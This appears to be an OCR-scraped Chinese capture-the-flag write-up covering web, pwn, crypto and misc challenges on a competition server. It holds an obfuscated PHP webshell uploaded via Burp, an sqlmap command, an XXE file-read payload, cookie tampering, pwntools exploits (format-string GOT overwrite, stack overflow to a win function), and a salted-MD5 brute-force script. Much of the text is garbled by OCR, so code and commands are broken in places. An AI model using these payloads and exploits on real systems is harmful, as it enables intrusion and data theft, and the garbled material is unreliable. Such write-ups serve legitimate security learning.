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Burp Intruder Repeater Window Help

Target | 10+ | Spider | Scanner [ ntauder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

[1]2 ]

Target | Positions | Payloads | Options |

2

Payload Sets
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
Payload set: | 1 v Payload count: 100,000

Payload type: | Brute forcer [v]  Request count- 800,000

payload types are available for each payload set, and each payload type can be customized in diferent ways.

®

Payload Options [Brute forcer]

This payload type generates payloads of specified lengths that contain all perm

‘ 

of a specified character set

Character set- 0123456789

Minlength: 5

—

®

®

Payload Processing

You can define rules to perform various processing tasks on each payload before it is used

Add

Edit

Enabled | Rule

Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe trans mission within HTTP requests

) URL-encode these characters: | ./\=<>2+8%:"(l"
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HIUP L1 200 QK

Date: Sun, 28 Oct 2018 08:16:04 GMT

Server: Apache/2.2.15 (CentOs)

¥-Powered-By: PHF/5.6.38

Set-Cookie: isview=lI2138; expires=3un, Z28-0ct-2018 1ll:1€:04 GMT; Max-Aige=10800
Content-Length: 47

Connection: close

Content-Type: text/html; charset=UTF-8
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</body>
</html=
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FreeBufBEcH

Target [ 10y | Spider | Scanner | intuder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

jmwmepl | HTTP history | WebSockets nistory | Options

@ Request to hitp://101.231.137.47:20003

[ Fowad | Dop | [intewceptison | | Acton |

[ e st [

H
)l

FOST /upload file.phplext=3pa, 9if,p=g, bmpCuppach-upload ATTE/ L L T
7777000

Hostr I0L.23L.T

User-Agent: Nozilla/S.0 (Windows NT 10.0; WOl £vi55.0) Gecko/20100101 Firsfos/58.0
Accept: text/html,application/xhtml+xml, applicat Mg/ xml;q=0.9, */*;q=0.8
Accept-language: zh-CH, zh;gq=0.8, Zh=Ti;q=0. 7, zh=HK; (g5, =n=US; (=0.3, =n; q=0.2

Peferer: heep://101.231.137.47:20003/

Content-Type: multipart/ ; boundary= 3162044623715

Content-Length: 76845
Cookic: PHPSESSID=gti7f)lBal65flBekverivhehi; (951037a6-007a-I8¢e-acib-cb5d7a30etds)=value; (43b745hd-13ce-4£66-bfal-14=34c3ecllf) =valus; (18188721-032a-4cdb-BebE-dodecOdTe e8] =valus;
{1p322c86-coaa-4£72-9f4a-725530p8A0EE} =valus; |cO0dfcoe-96e2-4d42Ng6=2-54277dazbags) =value

Connection: close

Upgrads- Insecure-Requests: 1

————————————————————————————— 323162944623715
Content-Disposition: form-data: name="file”: filename="cdama-xiao.nhn”



http://101.231.137.47:20003/

Content-Type: application/octet-stream o SNBVAH TP LA

<?php
$password='xiao' ;//0000admin
§she1lname baidu';//0000
$myurl='htep://www.baidu.com' :/ /0000
error_reporting(E_ERROR | E_PARSE);
@act_time_limici);
header ("content-Type:

vext/htnl; chacset=ubk”);

§fil=name='§password=:''.§password.
Sahelinames ). $sheliname. |\ fmyurl=i ! Smyurl. Lo
val(g'.'z'.'un'.'col.'mp'.'re'.'ss(bas'.'e64_' . decol. 'de(l!
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[Tayget [ Proxy [ Spider [ Scanner [lmmder ]Repea«e. T Sequencer [ Decoder [ Comparer T Extender [ Project options [uﬁv options: [A\ens }
1 iz - |
Go Cancel | [ < [v || >|v Target: http://101.231.137.47:20003 EJ@

Request Response

Raw | Params | Headers | Hex Hex

TOST Jupload Eile.phplext-3pg, 9if, jpeg, b
Host: 101.331.137.47:20003
Mozilla/S.0 (Windows NT 10.
text/heml, ElllJJJca\:Jun/xhtml+me app 1
-ept-Language: zh-Cl, zh:e=0.8, zh-TW
hetp://101.231.137.47: 20003/
Content-Typs mulcu:a:c/ i

31

b, o fuppath-up load HTTE/ L. L i HTTP/L.L 200 OF
Dace: Wed, 24 Oct 3018 11:41:3¢ GHT
64; rvisS.0) GE:kn/ 0100101 Firefox/59.0 Server: 15 (Centos)
-9, %/%;q=0.8 X-Powsrsd-By: PHF/5.3.3
: q=0.5, en-1 Us:q 0.3, en:q=0.2 Content-Lengeh: 150

Comnection: close
231€2944€23715 Contenc-Type: texc/btml; charsst=UTF-2

T

9E17f]1651£5f16£kv:\:]vhfh (95103 7aehq07a-4=4e-a82b-ch5aTa30etds ) =value; Upload: dama-xiao.php<br />Type: image/jpeg<br />Size: 74.7392578125 Kb<br />Stored in Dir:
(43p745hd-13ce-4166-bTal-14=34c3=e 18} =valus; (18188721-09ga-dcdb-8cb8-4cdecOdTeteB) =valus; upload<br/>upload slme!sfl\ll<hr/>||plnad/damafxlan php<br/>

(1b322c06-ccaa-4£72-0£4a-725530b8d0EE) =valus 4d42-b 6=2-54277dabag8 } =valus
Connsct o

closs

Upgrade-Insecure-Requests: 1

3231£2944623715
Content-Disposition: form-data; £ilen; filenam

Content-Typs{ imags/ipeg

§password='xiac'://0000admin
§shellnams='baidu' ://0000
Smyurl='http://wwv.baidu, com' ;/ /0000
error_reporting (E_ERROR | E_PARSE);
@set_time_limit(0); AN

header ("content-Type: text/html: charsst=gbk"):

§filename=' §passvord=\''.§passvord.'\':

§shellnam -§shellname. '\ ' fmyur 1=\ ! Gryur L.t

eval(g'.'z'.'un'.'co' . 'mp'.'re'.'ss(bas'.'=64_'.'deco’ . 'de (' eJas/X13KNAS T/ saz173 BURIWALcHMAYHQO1 NI DGAT gRRT
USAUOVAAL11gS LUFGhTFD-+04ueN2 3 CuWL imDIMUVSF i Wh EURZ N +6bdof Ty 1/ 37QvapDOLS/ Th+5x TPy Y0102 ks 4gEag6 28, TmEEZPLus
SA7pVETdyansT/ 3WZm: er+hLO/derul:mudTnJEYnDJeratzxZXgJXF1+\:rSBLF+IU JCTAPYOTZ/ USG1 AreShshX ZEA3 ZaI CZ+IatG
©/nn/h4P2g2aFH/Sor 4 L+£h2 2853 17VZ1emr iy UEZUOMEGrL ZEOTTYRLS gfh
rnsqumv.vzmms-rpxumam/thwdo,m\.mbsawzp_ fEmPh"UiDtAr'?kzﬂrPFEWX“mMLIth']\rJ7:x~3c1nf9><}‘4+vxg/"\-‘VJPSPH
FpESTVayeyInlaqLCRakiiedtykL Mpu79h 597083 GhTLAWIEN tOand LAMEvvnKT72yZ2/+71LE
vmﬂmsva?p«stm/aw/rmuomjarerpfxz;nzm=3musnmfhun/mswmsumhuamtsuns/Hcmqwewjzbdwmsvc'rnmu
Z6ASOFCCOS 14D t5CTT3 a0VEL 7HAUT SAZRD S qHN T 1 1VINTulzne VDaDOrmSNGF 12 StWaBYrFh 255G TU0=LCE Ry TxVTSAQH2 2 Lg15 LOWBGALT
0792 hgOVE S nZa Lma 2 45 s HAS ol Yo LKFYv3 1P 1+EKD3 9D/ I3 HCeDICyeF 26 LEC £ 11 ERVAHG2DIBELLS wwLaS OKOGDTWS 20z XF
PUT/bq+Ln229t irdne LaGLIDSCU1Law/ Tde0ady3 WPIpy i ifuT=KasUTokINSv1/c1CRQaW Aml Use GRHpG) G+yQs/

IR0/ KR7E++t a3 THRT LS a+SwTANLE +oRVLS 1 2Qur 2£h V" piZzlsZucnl AoaBYET: xops
SaDiISEIN/ EANGZWE 1R/ B3 Ur yKe33 5apPX 1 Qv 10ates AHMTJaXa30/ VS rsLd KX+ySqFhc+V TpdTaHGO0D [HoySDMSKTKS +6rdKT3 / nvas+
409/ /Fe LENHStHTQZ 03 ah3 X qPSS8 1783 R++8=0/ LKD22 Tinr/ 2v57/dynIOh+thavT 7L/ 3gK+1IFOLay=ctv/ ++4D2 1772/ DAL USFO+Rv/
8e3nuvevvyl/ FzvuPNOQUNErSnE5 Av+gth 2 7eLteul Oryr eXe+0dGDNT 1260C0,/ ZNhS3 au3hE/ LxE) TOXEMEV/ C2e Z28+X T £/ h94 Lo VHO VR
T7/E4ku/ LSbHEFGELVOx 157460 HENel L +EPnel 13/ 6ve £/ KOyXE / Sl +/Pr 1g2ueVwVos ldf/ +CHXIT3P7/ 25 TTSEeBeVRZTr 77/ 648
9tZP3/73HH2 13359€LLESw/ ¢/ atOK/ gSE9t 7980/ +5EM: I 0Th TpBed L +MB0VRWEDSTh] LE+8 03P/ +CvP/  KRy-++8 TvS 1Rd+SSCHveS2Dhol
VRZ8/gav/ S 1XvvELTAN+CAETAS Tny s/ DET0R TNk 20/ CKLUPKI+/ / NE+5 1 Zaxelt/ SMNZaB5CT +Eu0INNT 15D wEHI0VKNYT 1 TKKSkaik+ 10 LK
JApWEIQUEZOXEKT Lane 5 ¥3 1/ 5uTT ZuPOY5vAD4GB £YAZE 2dLn7 S ZUpET L mEODSCr b +to 1eqfWZLpZOL0GTEGC
I3 SYHNSEN+102/ +ATPPRZhOS9,/ bKSY+r ESOr 1540030 YZSGK 12 unchN Tz Yr HEAS+£ 22 mg0q 70 TvRBY3 Zg4KE 1 ZX15b XLAHEFSHMA TNTY
340 1b/ NSl e kI GOIMrUS a2z LHOOL £ OCF/ BROUCF CPF O+ / +wV// €I £400wE7 Ge3LoaF 10AqCr 4T TR +m1/ 5/vt /NeTLCIERa0aC
beSPLBELEFTEOKLy 6L TEZL L+ TEPk+! V1ot IRKAS +EUl L sLIMVVQU/ LeGhTt+) ISDY2 Léred e ShaanBFHSGuil
EOWOWL30/eBc X/ £d19/ 52vE T4UOVZ3 5/ TNHLSECS ALNN, ko3 +cREHZUT 830Kk | RTwb cETES QEOph3 5CCJ 60 £20 4F SMYA wTSWNBE4n=THEY
%0ZAZKUCUNKC LF Thex Sk35% LWBEy Twkey/ rDEC ZEJWPXvEThL 2 SVLT+2azqE TvE+3/ G7C+RW/ ¥EE 20akl/ 8 +fee/ ST EVISGBSOUFDTN R0
H8d+cHvUTA1qeE/CG2OKEY Il £pXe ] v2 £PIFL3,/35+0+55BHES UVaThaz8qPoy2 1963 Cri+03 22 AUDaSYe cBrODNPLEEKYCYUNCkNrK44J2 e =
TP 1BVt | ClerreaCf AT WhAG 7 THORF Xieke S OnGRem A1 10V | uneehell T£F sy Zaoum 2 e £ 1 1GARmIanG/ 3t 6L/ aThEf2saGriAnEans1 11 L7 ¥

HEHEE HEHEHE

Done 343 bytes | 2 millis

dama-xiac. php”

<?php

0 matches

ter 0 matches 2l <]|l+]||>

To /opt/flag.txt get flag==>7?



/opt/flag.txt
FRFER flag (bdd, 40d73038a200338168baax}
e

Tams
ERER
HYTPHPEIE

LE- el

FUTSQUAIT

fi=p=s THNGB2312

MYSQLIRIE
MYSQLIZ
Serv-URRIR
WTRE

SCHEBIETE] M) TR RO RER)

web4- X HBEIEAN?
B H

o5 E] SAE = = Agoda.com JD ZEFR Td - XCTF =5 b =xxieln
& & 2Enn Boaenss BN @ di D RirE (=171 I ==7h E=ZEiek

‘No.|title ‘comem
1 [omeEmemiog hSFEE, H—TEEMA.

Hi#EsqimapiE BT, sgqlmap -u http://101.231.137.47:20004/php/index.php?gid=1 --dbs
BREHEEREEEZESIREPIRER, BEFBR, dumpllw.
BT 35 RS C &R AHCR B BUR DI B F o

web5-API



X R xxe SN ERRARIEN, BT, BkPOSTHE LA K Content-type M i 2B Zl/tmp/flag.txt.

XXE Rt R R 55 484 52 N2 P i 5038 SR KD xelA% SREE I, xnI$5ed b B R 51 A 77 AR st R e B SR 5 AR
A B AR SCIE, IXARAE IR S5 4518 B 45 AVENT B KIMERT, BLSIE BAR U AR B 8 BATT, T 2 BUBUR SO
NE.

B HEAREH K Content-type: application/jsonBiNContent-type: application/xml, FHKPOST
I BUE B8 BT xm R A

<?xml version="1.0"?>
<!DOCTYPE a[
<!IENTITY xxe SYSTEM “file:///tmp/flag.txt”>

1>

<something>&xxe;</something>

RIERIZBHIER, BrrSElapiik Efiflag T .

web6-sweet home



RIEBE RARA, —P—PRA, F&E—MEAEE 25 L04, REEflag.

BB BFOREMN A H R ES BAN X MR K code, A58 H i 715 21# 4 TUEER LKL —A B F (531
fuser.php~, config.php~, adminpic), BFIELA LA FadminpicZadminf P EEXHK—NEZR, FHH
WATHT LA BV B8 BRI 580, A% D #4515 212330635 D KR R &S 0, B 58 Fladmink 2 #55, £ K¥ER
I EMdS5 2 5, BERRcrypto.html, XRE—NMRERMBZEMISKITE, HiAadminZhashff i #1524
Acrypto.png, VilAEE 4610, AMEAIREFEEwandouxueyuan:), FALFEEAEFadminik, RKE| E4EE
Jrpublish U H, 456 B EHAREK—adminpic HRA CAAE EAECHAEE RS, @RS EE XD
IS

BBRRIEZR A4S, session decode, LLJregisterEME ik,

M Unnamed-T\pea\ctf_users\ - HeidiSQL 9.5.0.5196 - X
x4 &% 2% 18 %5 an P g
M-S hRP8I2-2RONANCOVXP-E-HEM g oa=; 0
I pEETsE  [D=ses [ @ 20 101231.137.47 () BiBFpea [ T ctfusers IE BE P mmr

- COLLATION CHA... U.B " pea.ctf users: 9 2iEF W FT—i WM EFHTE \ v HE(2) v FEE(6/6) v iTEE
[Z] CcOLUMNS 1.0 KiB
COLUMN PRIVIL.. 0s « id username ip is_admin allow_diff_ip
N - 1 admin L 3168441221f5bbST1ch208038c662908 __|[ 127.0.0.1 B !
ENGINES 0e 2 wandowda C28dfa505b3car5b08a57d379 127.0.0.1 0 1
[] EVENTS 1.0 KiB 9 adminl €00cf252d42683b3df6 78¢5 14 i3 120.204,227.2 0 1
FILES 0B 3 yofing e10adc3949ba59abbe 56e057F20f5 183.218.197.233 ] 1
| GLOBAL_STATUS oe 4 yofing2 e10adc3949ba59abbe56e057f2058: 183.218.197.238 [ 1
5 yofing3 £10adc3949ba59abbe56e057F20f3832 183.218.197.238 0 1
GLOBAL VARIAB... os 6 yofangd e10adc3940ba5OabbeS6e0S7R20fB3%  \ 183.218.197.238 0 1
[Z} KEY_COLUMN_U... 0B 7 root e10adc3945ba59abbe56e057f20f883e 183.218.197.238 ] 1
(] PARTITIONS 1.0 KiB 8 root2 e10adc3949ba59abbeS6e057f20f883e 0 1
[Z] PLUGINS 1.0 KiB
PROCESSLIST 1.0 KiB
_| PROFILING ()]
REFERENTIAL C... oB
ROUTINES 1.0 KiB
| SCHEMATA 08
, SCHEMA_PRIVILE... []:]
| SESSION_STATUS 08
- SESSION_VARIA... 0B }EH Crypto. html ﬁﬁmj EI] m‘
[} STATISTICS 08B
| TABLES 0B
_ TABLE_CONSTRA... 08B
[} TABLE_PRIVILEGES 0B
[Z] TRIGGERS 1.0 KiB
[} USER_PRIVILEGES [o]:]
VIEWS 1.0 KiB
v 4 pea 928.8 KiB
] ctf users 2.5KiB
[] ctf_user_signature  926.3 KiB
J test 0B v
391 SHOW CREATE TABLE "pea’ . ctf_users ; A

392 SELECT CURRENT_TIMESTAMP;

393 SELECT CURRENT_TIMESTAMP;

394 SELECT * FROM "pea’ . ctf_users’ ORDER BY “password” ASC, “id’ ASC LIMIT 1000;
395 SHOW CREATE TABLE "pea’ . ctf_users

1:3 OBE®13:20h T\ MysaL 5.1.73 IEfTATIEE 5 K, 05:52 h Qutc: 2018-10-28 15:28 @ A,



< (CREal O TZ£ | 101.231.137.47:889

f£58 5 J5 V5 19 /adminpic H B AT & 2| B ©_EAE#I 30, Mifigetshell & Zlflag:

var/www/html/adminpic/

ar fwww/surprise/flag tizya: B GR2312 ¥eZ | GB2312
B esEs ) ENGIN AM DEFAULT CHARSET-lat
*140101 SET character_set_client =
et
f===r i — Dumping data for table "flag
ssi=e B
— LOCK TABLES ~fl
HFTPHPEIZ 140000 Al
LE-Dan=1
= = UNLOCK TABLES:
LA /%140103 SET TIME_ZONE=G0LD_TIME_ZONE */:
MYSQUEE
ET SQL_MODE=JOLD_SQL_MODE */;
MYSQLIZR FOREIGY, S=20LD_FORE
Serv-ULEi
TS L N-80LD_COLLATION_CONNECTION #/:
T SQL_NOTES=R0LD_SQL_NOTES */;
RN
— Dump completed on 2018-10-28 9:54:05
prai -4
WHHE SCHE T A L0 5 o A SIVAE D) )
T
HETTES
HEFRAE
BT
HESHEAD

webff} i & -atom

XiEweb N, Sehr b3t A HK P 3B FE BcookieF ladnin=0 Nadnin=1, RFLBEI—NEE, R
JEBE G GRS E M58 8 B IEKflag.

Pwn



=AM pwnEfEE &M, S REEEA MR R IR, FRAEH, D &ret2sys JLAFIR A

pwn1--# X4k 7 7F 52 I A
I F IDATE St 43 i — T 2%, 7] LLE Blprintfab A 2E A% Ak 7 75 5 VR -

#vuln_funih Hh g

int _ cdecl main(int argc, const char **argv, const char **envp)

{
int v4; // [esp-Ch] [ebp-7Ch]
int v5; // [esp-8h] [ebp-78h]
int v6; // [esp-4h] [ebp-74h]
int format; // [esp+@h] [ebp-76h]
int v8; // [esp+4h] [ebp-6Ch]
int v9; // [esp+8h] [ebp-68h]
int v1e; // [esp+Ch] [ebp-64h]
int v11; // [esp+1@h] [ebp-606h]
int v12; // [esp+14h] [ebp-5Ch]
int v13; // [esp+18h] [ebp-58h]
int v14; // [esp+1Ch] [ebp-54h]
int v15; // [esp+206h] [ebp-506h]
int v16; // [esp+24h] [ebp-4Ch]
int v17; // [esp+28h] [ebp-48h]
int v18; // [esp+2Ch] [ebp-44h]
int v19; // [esp+36h] [ebp-40h]
int v20; // [esp+34h] [ebp-3Ch]
int v21; // [esp+38h] [ebp-38h]
int v22; // [esp+3Ch] [ebp-34h]
int v23; // [esp+40h] [ebp-306h]
int v24; // [esp+44h] [ebp-2Ch]
int v25; // [esp+48h] [ebp-28h]
int v26; // [esp+4Ch] [ebp-24h]
int v27; // [esp+56h] [ebp-206h]
int v28; // [esp+54h] [ebp-1Ch]
int v29; // [esp+58h] [ebp-18h]
unsigned int v30; // [esp+64h] [ebp-Ch]
int *v31; // [esp+6Ch] [ebp-4h]

v31l = &argc;
v30 = _ readgsdword(@x14u);
memset (&format, 0, Ox64u);
__is0c99_scanf(

0,

(int)&format,

(int)"%s",

(int)&format,

v4,

V5,

V6,

format,

v8,

v9,

v1e0,

vil,

v12,

v13,

]



Vi,

v15,

v1e,

v1l7,

v18,

v19,

V20,

v21,

v22,

v23,

v24,

v25,

v26,

v27,

v28,

v29);
printf((const char *)&format); / /¥ RA 77 5 IR R
fflush(_bss_start); //BREgotRPfflushsk BigmMthil, ¥ HIEMread_flagii#l
return 0;

}

BT — T, BRAITLAMIEIER): aaaa-Sp-%p-%p-%p-%p-%p-%p-%p, REHMAEIE:
A LA B BRATH S NBBAE T printf R BAR P LML E GX B %pic/cH+H L Z/FENSED , Bk

FRERAREENLEEMETURRESIEAR, RELESBILS, B2BRANTZ8 LB E R
5, REHotR, ZHIK IR 2] 7KL RIR .

BESRFE T FIHALE, B4 BEF A pwntoolsi i&exp:

#coding:utf-8
from pwn import *
context.log level = "debug"

#io = process('./200")

elf = ELF('./200")

io = remote('101.231.137.47','20010")
#read_flag addr = 0x0804859B
read_flag addr = elf.sym['read_flag']

#bss_addr = 0x0804A034
got_printf_addr = 0x0804A00c
got_fflush_addr = 0x0804A010

#BEEFFlushibhb BRI AR, NTLBread_flaghki
payload = fmtstr_payload(6, {got_fflush_addr: ©x0804859B})

io.sendline(payload)
io.interactive()

expRI R


https://www.yof3ng.xyz/2018/10/26/Pwn-10%25E6%259C%258826-Hitcon-%25E5%259B%259B/

HashPump

pwn2--£% %



a7 B R AR A oy, AR LA, 3R BN B ARG TEEIPHE A BATHI w i n Bt bk R AT

v
i

Function name

_init_prec
sub_B048320

_systen

__libc start main
___isec99_scanf
__emon_start__
_start
__xB6_get_pc_thunk bx
deregister_tm_clones
register_tmn_clenes
__do_global _dters_aux
frame_dunny
read_flag

win

vul_fun

xain

__libc_csu_init
__libc_csu_fini
_term_proc

system

__libc start main
__i50c99_scanf
__imp___emon start__

3| return read_flag();

Fhoch o b o oF b b oF b DD g T e

L)
HOW M

o
=

tern buffer:

Hi&exp:



#coding:utf-8

from pwn import *

context.log level = "debug"

#idah B winR H itk

win_addr = 0x08048488

#io = process('101.231.137.47"',20011)
io = process('./100")

payload = 76*'a' + p32(win_addr)

io.send(payload)
io.interactive()
io.close()

[

BATHR(FARF O LKA, el REERRA IR ):

pwn3--ret2syscall

pwn3 I TER b LT P AR X E— R, A EERZANHEFHAZECEZN, SRE TR EG:

No ¢ found

No PIE (

HUBBRRIT THRATHAT (NX), #ET—3

¥ IDA - memory G\EIR\CtFEBE\FES\memory = X
File Edit Jump Search View Debugger Options Windows Help
SHE ey By & t G @O FghEtFvF e X > @ O[No debugger - %] @ & F
Library function Ml Regular function Ml Instruction | Data || Unexplored  External symbol
[FFunctions window oe& x IDA View—4 Fsoudocede—d B @ Hex View-1 A  structures 3] Erums ¥ Inports & Exports
Function name ~ 1[int __cdecl main(int argc, const char **argv, const char **envp)
7] _init_proc woo
7] 7ub. 5043400 3| unsigned int v3; //
7| _printf 4 d 2[11]
| _time 5 5 1/
_puts 6 /7
f| _system 7|
___enon_start__ 8| vé = 10;
7| _srand 9| puts("\n\n\n------ Test Your Memory!------- \n");
___libc_start_main 10| v = time(@);
| _memset 11| srand(v3);
¥l ol 12| for ( ;i< ey #i)
___i50c99_scanf 13 s2[i 1phanum_2626[rand() % @x3Eu];
f| _strncap 14| printf 2);
L] start 15 mem_test(s2);
__%86_get_pc_thurk_bx 16| return 0;
| deregister_tn_clones / 7h
[ I DO i -




register_tm_clones
__do_global_dtors_aux
frans_dunny

win_func

men_test
2ain
__libc_csu_init

__libc_csu_fini

_term_proc

printf

time

puts

system

srand o

AR o o N e e o o e Y Y Y Y e

Line 22 of 36

4 Graph overview o8 x

00000677 main:1 (8048677)

= output window
‘geassw: using guessed type int register_tm clones(void); ~
8048677: using guessed type char s2[11]; v
Python ‘ ‘
AU: idle Up Disk: 239GB

XEBAMAT UUE Bl —Dwin_funcei £, T R RA IR E 2% R BN TS 2lflag, B4 a0k B 23X 4>win_funceri #
g ?

BATEEFImem_testR B hciRiGan T :

¥ IDA - memory G\BUR\CHEE\FS \memory - X
File Edit Jump Search View Debugger Options Windows Help

BEHiE- - M e Bt o @O ot P e X > O O debusser BECE T
: 10 Y | Y S [ | [ 1 1 TH — S

Library function Ml Regular function Ml Instruction | Data Unexplored | External symbol

(7] Functions window o0& x IDA View-4 Pseudocode—4 B [0 Hex View-1 A Sstructures E Foms f  Inports & Exports
Function name ~ 1fint __cdecl mem_test(char *s2)
2l
_init_proc t 5
sub_8048400 I int result; ‘
_printf [ char <; Tebp-13h] |
“time 5
- 6| memset(&:, @, OxBu);
_system puts("\nwhat???? : ");
___gmon_start _ printf("®xdx \n", hint);
_srand puts("cff flag go go go ...\n");
___libc_start_main 10| printf("> ");
_memset 11} __isoc99_scanf("%s", &s);
_rand 12} if ( !strncmp(&s, s2, 4u) )
——1s0c99_scant 12 result = puts(“good job!!\n");
_strncap 14| felse
_start

res

puts(“cff flag is failed!!\n");

__%86_get_pc_thunk_bx
deregister_tn_clones
register_tn_clones
__do_global dters_aux
frane_cumny

win_func

return

main

__libe_csu_init

__libc_csu_fini

_term_proc

printf

tine

puts

system

stand "

Line 21 of 36
i Graph overview O & x

00000B5E mem_test:16 (804865E)

[ output window o s x
80484A0: using guessed type int _ isoc99_scanf(const char *, ...); ,.‘
804A048: using guessed type char *hint; v
Python |
AU: idle  Up Disk: 239GB

H¥FEreturn result, MBAWBEEBFE, BRABEFEESHEXANDREA R EHOENE, B4R 01T (X B EE
H#Fpattern create B 2| RFZ &, 1R patternid KN &S E L EE Heip) » AgdbfEmem_testid HUT Wi 5 1A :




0xf7e25c66

code

gdb-peda$

gdb-peda$

RIGIRIE Z ATidasr T B B s B Nebp-0x13,RMAIATLASNIE, ebp = O0xffffdl45 +0x13 = Oxffffdl58, B
HEEEgdbEebplIfE, ATLARIEO0x804871 85 Areturnik [B] bt . FA17E ZK B B 35 Bwin_funciiithht .

0x8048718
0x8048676

0x8048718

0x8048772

code

gdb-peda$

T catflagiihik gt & — FF 46 % tH 1 FEAShint:0x 08048 7E0

*@iﬁie)q):




#coding:utf-8
Author = "Yof3ng"

from pwn import *

import sys

context.binary = "./memory"
context.log level = 'debug'
elf
#io = process("./memory")

io = remote('101.231.137.47"','20012")

catflag = 0x080487EQ

system_addr = elf.sym['win_func']

print(system_addr)

#padding AR == [ Mebp (0x13+4) H AR, system('cat flag')HsystemEF M catflagSHibl K systemik B bk 20 5%
payload = flat(cyclic(®x17), system_addr, 0x08048677, catflag)

print(payload)

io.sendline(payload)

context.binary

io.interactive()

No canary found

No PIE (

Crypto
Cryptol-RIXHFBET. . .

B A —Hbase64: VIBZNE9IGZEhURWHDV|BveFVrMVVTell4d UKRKWU5SFTTFRMGszUmtrd1ZFVT0=
AR AT 2]: SK88WGLHBWJ1RMTK61D2X4C5CI7FIOTE

RAZRIT] .



Crypto2-— & i} 3 i) 2 55
BRAXLFEEE, EE2RMNEET T AN BRELY:, SH:

EE —ANFlagbh—Fioin g SO0 I BB 4334T N %, {3 I %5 4AWELCOMETOCFFIN % J5 % 3L A/000000000000000000000000000000

WELCOMETOCFF A4, KERN12, T _i#tHlBKE N84, BRREF N k], A4 AT LAAE 3 i bb e A B4 5 hn 25
et RS, #ArEk, DARIENA FER.

=R RO RBERE, KWELCOMETOCFF, 207 H-th —#tHRnHAEF R PKIRT, JfESN M- 3T R
BRERAE:

L

0000000 000PCEO OPGEOO 0PGEEPE PEEEEED GEPEEP 0PEERES PO10111 GEE110 EO160P0 0010100 ©EEEee1

XOR

=9
WELCOMETOCTEF
0010111 0000101 0001100 ©00VO11 0001111 0001101 0000101 0010100 0001111 0000011 0000110 0000110

(EER
0010111 0000101 0001100 0000011 0001111 0001101 0000101 0000011 0001001 0010011 0010010 0000111

WELCOMECISRG

==> flag{WELCOMECISRG}

RAZRIH] .

Crypto3-#i 27T, K&K

JBE i EEL R A R BV

g
RS > > EERHR R O R
HBNFHE:

JRQOEEEMGC 1 I7PRAUNGATBLNE CMS6Y IO

£
& - BR/ o

<

ERNEEER || AR | cuEmARnsmsR: © =mEs

EHERE:  (BER: IAstEREsil/ koleeErsn, ERTA—, AEERA) FER T = ST

TR

flag:JRQO58XMGC1[7PB4UNGA7BLNBCMS6YJO



Cryptod-th i 7 ~Hi fishi ! !

WIEEE, ZRFITIERBAHTLIE, KIPOSTHERRE—A, 3 HHuseridMpswrd:

M datapcap - X
THE) BEE WEN) BHG) BRO SA) HHS) BEY) REW TR BEHH)

AN 2@ I OREAes=FsEEQaQfE

[AThttp. request. nethod==POST BT -] &®Emw- |+

o. Time Source Destination Protocol Length Info

. 112 2016-03-19 10:12:42.981689 10.0.9.5 10.6.0.1 HTTP 107 POST /pages/main.html HTTP/1.1

< >
\

> Frame 112: 107 bytes on wire (856 bits), 10A bytes captured (856 bits) ~

> Ethernet II, Src: PcsCompu_38:2c:5c (©8:00:27438:2c:5c), Dst: PcsCompu_3d:47:5d (08:00:27:3d:47:5d)

>

>

>

>

> HTML Form URL Encoded: v

2010 @@ 5d ec 95 46 @0 40 @6 3a 00 Oa 00 00 5 ~

2020 00 01 e7 1b 1f 90 e9 d7 8e c2 65 ad ce d8

0020 @1 c9 d2 3f 00 00 01 @1 08 @a @0 @6 61 ad ? .

0o40  7f d8 75 73 65 72 69 64 3d 73 70 69 76 65 79 70 -userid =spiveyp

2050 26 7@ 73 77 72 64 3d 53 38 34 78 57 6a 5a 51 57 &pswrd=S 04xWjzZQW

0060 46 5a 35 4f 51 25 33 44 25 33 44 FZ50Q%3D %3D o

Frame (107 bytes)  Reassembled TCP (428 bytes)
O 7 data.pcap || 548: 232 - BEF: 1 0.4 || Profile: Default

2R pswrd B ARRD JE $2 38 flag, RRZh.

Crypto5-IDC# 55 fift (K il 1)

S —HBF9s4163633181327481

SEAMAS: FHLLEE4163633181327481, BATHIMER. . .

#Ht Cryptob-iB 2 & 15




R T KERIMASE, URRLITbaseb4ts K78, 1RA S AR B hashinth(salt)i) i, T HRLLHEZHIE
HE BT XA

A (RFIRR ), B4 M12345678807T45) -

# coding:utf-8
import hashlib
from numba import jit
@jit
def run():
password =["f@9ebdb2bb9f5eb4fbd12aad96e1e929.p5Zg6LtD", "6cea25448314ddb70d987085531c0928.ZwbWnGOj"
n=1234567880
while(n<10000000000) :
for j in range(0,66):
salt = password[j][33:]
md5 = password[j][:32]
mingwen = "{FLAG:"+str(n)+"}"+password[j][33:]
miwen = hashlib.md5(mingwen.encode('utf-8')).hexdigest()
if (miwen == md5) :
print(mingwen)
print(password[j])
Nn=10000000000
break
print(n)
n=n+1

run()

flag:1234567890

Misc

Misc1-& KK ¥ %



‘f' m% » o
.

HEBEE MR ETUARRERbase64F /18, HEfiD1E2flag

[ G\#uB\tIEE\IES \corgi-can-fly.jpg - Notepad ++ _ O %
STHHF) IR EERS) WAV HBN) BEL BEM IR0 &M ETR EEHE) J0W) ? X
LEOHBER A4 hh|e|tn ez B =1 E0@lce @ B0 BE|=

_ [H corgi-can—fly. jpzEd

605z Btk FALEEmvHfepwo

? EEAFEAE_w . EEA: ¢ 05 2 e OR) s 1EmAl, fEmRZ] U EEezus "3zicw 68 BB () DENeEmL o fiE " 2 EemiT pii 5527 A

6057 zs ik s 2 0 R S R 2 20 2) 1  EERER 7 2@8gx3BiX] |

6067 13 [Hl2 % EmRE-U? 5 N L L 5 i oM T2 1R 2 N b Az 2 a BAT 2 MR LK TS Ui c BT 2 6 I @R B0 1T , 2 B9 nEem (B E S o o= I B ;

G071 WA 2 P R I S SR A ~ LT o 1P 2 T W T 2 B i R BB 3 (R ERL A D2 3We kPt hEwacl 7 BBc B kB 4G T % AT B i

6079 TEMEEBtEXtTitlef@@Corgi Can Flyik EORESNID

EIENDHA " 70

B tEXtATtisth

leIHlvdSBDcmllZCBMUOI/CFJ%ﬁ

c I >

Normal text file length: 831,893 lines:6,079  Ln:12 Col:66 Sel:4|1 Windows (CRLF) AN NS |

<

Misc2-3C #4284 43 br



BRI —ZpEgEE, mIFREF, FEfE[content-types]xmiscf, FA b0 LA E R A Floffice BRIt . 7 BIR

